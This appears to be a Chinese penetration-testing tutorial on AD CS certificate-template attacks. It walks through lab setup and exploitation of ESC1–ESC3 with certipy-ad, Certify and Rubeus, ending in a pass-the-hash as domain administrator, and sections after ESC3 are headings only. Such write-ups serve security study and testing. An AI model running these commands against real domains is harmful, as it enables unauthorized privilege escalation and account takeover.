AD CS(Active Directory Certificate Services)它是 Microsoft Windows Server 里的一个角色,用来在企业内部搭建 PKI 公钥基础设施,也就是发放、管理和吊销数字证书,是企业身份与加密信任体系的一部分。但如果配置不当,会带来严重的安全风险。
信息枚举 windows 主要用 Certify.exe linux 用 Certipy ,kali上叫 certipy-ad
域内机器枚举
1 2 3 4 5 6 7 8 certutil -config - -ping certutil -CA Certify.exe cas Certify.exe find /vulnerable Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins
域外枚举,需要一个域账号密码
1 2 3 4 5 certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -stdout certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -ldap-scheme ldap -stdout certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -vulnerable -stdout
证书模板配置不当
ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15
ESC1-模板SAN可控 当证书模板允许指定 SAN(Subject Alternative Name,主体备用名称)时,就有可能为另一个用户申请证书。如果该证书的 EKU(扩展密钥用法) 指定了 客户端身份验证(Client Authentication)或 任意用途(ANY),则可能被用于权限提升
简单来说就是低权限用户可以申请一个能用于身份认证的证书,并且能在证书请求中指定目标身份,比如高权限用户的 UPN/SAN
环境搭建:
certtmpl.msc 打开证书模板控制台,复制一个模板
选择在请求中提供。意思是申请证书的人可以在提交证书请求时,自己指定证书里的 Subject 或 SAN(Subject Alternative Name,主体备用名称),例如 UPN、DNS 名称等
低权限用户具有 注册 权限
应用程序策略就是上面提到的一个 EKU(Extended Key Usage,增强型密钥用法)。图中内容表示该证书模板签发出来的证书可用于客户端身份认证
certsrv.msc 打开证书颁发机构,在证书模板右键点击新建要颁发的证书模板,选择新复制的模板
满足利用条件后 certipy-ad 就能直接识别到 ESC1 了
使用 certipy-ad
1 2 3 4 5 6 7 certipy-ad req -u qq@xxx.com -p Qwer123 -target 192.168.100.126 -ca xxx-AA-CA -template 1 -upn administrator@xxx.com certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126 certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126 -ldap-shell
拿到 hash 后就可以进行 pth 等操作了
1 2 3 4 5 6 ┌──(root㉿kali)-[~] └─# nxc wmi 192.168.100.126 -u administrator --hash '91ff0fb948167eb4d080b5330686c02f' -x 'whoami' RPC 192.168.100.126 135 AA [*] Windows 10 / Server 2016 Build 14393 (name:AA) (domain:xxx.com) WMI 192.168.100.126 135 AA [+] xxx.com\administrator:91ff0fb948167eb4d080b5330686c02f (Pwn3d!) WMI 192.168.100.126 135 AA [+] Executed command : "whoami" via wmiexec WMI 192.168.100.126 135 AA xxx\administrator
使用 Certify.exe
1 2 3 4 5 6 7 8 Certify.exe request /ca:aa.xxx.com\xxx-AA-CA /template:1 /altname:administrator openssl pkcs12 -legacy -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
新版本 Certify 语法
1 2 3 4 5 6 7 8 9 10 11 12 Certify.exe request --ca aa.xxx.com\xxx-AA-CA --template 1 --upn Administrator --sid S-1-5-21-854887597-2698481123-3746598263-513 Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgAYJKoZIhv... /ptt Invoke-Command -ComputerName aa -ScriptBlock {whoami }
如果 Rubeus 报错 KDC_ERR_PADATA_TYPE_NOSUPP 可以尝试 certlm.msc 打开本地计算机证书管理器,将域控制器身份验证证书导入
或者 gpedit.msc 打开组策略,修改图中部分。改完记得刷新 gpupdate /force
ESC2-任意用途 EKU 滥用 当证书模板指定了 任意用途扩展证书对象(Any Purpose EKU)或者未指定任何证书对象时,该证书可用于任何用途
ESC2 与 ESC1 的区别
ESC1 的重点是:我能把证书身份字段写成别人
ESC2 的重点是:模板签发的证书用途过于宽泛,能被拿去做很多不该做的事,用于不该允许的场景
ESC2 不一定依赖 Supply in the request。它的危险点主要来自 EKU 过宽
应用程序策略 / EKU 为空即可,也就是没有指定 EKU
如果 ESC2 模板同时允许请求者指定 SAN,则可结合 ESC1 思路,通过伪造 SAN 直接冒用其他用户身份;如果无法指定 SAN,则通常不能直接冒用身份,但由于其 EKU 过宽,可能被当作证书申请代理使用,进而像 ESC3 一样代表其他用户申请证书。
1 2 3 4 5 6 7 8 9 10 certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template 2 certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template User -on-behalf-of 'xxx\Administrator' -pfx qq.pfx -debug certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126
ESC3-证书申请代理模板滥用 当证书模板允许低权限用户申请包含 Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) EKU 的证书时,虽然不能直接申请管理员证书,但是该用户可以先申请一个 证书代理人 证书,再代表管理员申请证书
在 ESC2 的模板基础上修改应用程序策略 EKU 为 证书申请代理
1 2 3 4 5 6 7 8 9 10 certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template 3 certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template User -on-behalf-of 'xxx\Administrator' -pfx qq.pfx -debug certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126
证书颁发机构
ESC6 and ESC12
访问控制
ESC4, ESC5 & ESC7
未签名端点
ESC8, ESC11
认证
参考文章
ADCS攻击之证书模板配置错误 ESC1 ADCS-ESC1漏洞环境构造与利用 4 ‐ Escalation Techniques ADCS ESC 1-3 攻击链路